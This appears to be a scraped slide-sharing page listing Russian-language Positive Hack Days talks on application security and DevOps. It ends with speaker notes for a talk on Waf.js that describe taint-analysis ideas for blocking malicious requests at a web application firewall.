Positive Hack Days
 
PDF
Формальные методы защиты приложений
Positive Hack Days
 
PDF
Эвристические методы защиты приложений
Positive Hack Days
 
PDF
Теоретические основы Application Security
Positive Hack Days
 
PPTX
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Hack Days
 
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
PPTX
Требования по безопасности в архитектуре ПО
Positive Hack Days
 
PDF
Формальная верификация кода на языке Си
Positive Hack Days
 
PPTX
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 
PDF
SOC для КИИ: израильский опыт
Positive Hack Days
 
PDF
Honeywell Industrial Cyber Security Lab & Services Center
Positive Hack Days
 
PDF
Credential stuffing и брутфорс-атаки
Positive Hack Days
 
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Positive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Positive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Positive Hack Days
 
Аналитика в проектах: TFS + Qlik
Positive Hack Days
 
Использование анализатора кода SonarQube
Positive Hack Days
 
Развитие сообщества Open DevOps Community
Positive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Positive Hack Days
 
Автоматизация построения правил для Approof
Positive Hack Days
 
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Формальные методы защиты приложений
Positive Hack Days
 
Эвристические методы защиты приложений
Positive Hack Days
 
Теоретические основы Application Security
Positive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Требования по безопасности в архитектуре ПО
Positive Hack Days
 
Формальная верификация кода на языке Си
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 
SOC для КИИ: израильский опыт
Positive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Positive Hack Days
 
Credential stuffing и брутфорс-атаки
Positive Hack Days
 

Waf.js: как защищать веб-приложения с использованием JavaScript

Editor's Notes

  • #23: #Идея taint-анализа: sources, sinks, запрещенные информационные потоки #На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты #Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов
  • #25: #Идея taint-анализа: sources, sinks, запрещенные информационные потоки #На WAF мы наблюдаем только источники, контролируемые пользователем, вместо sink – используем контексты #Запрос запрещен, если он содержит данные, которые потенциально могут быть вредоносными в одном из контекстов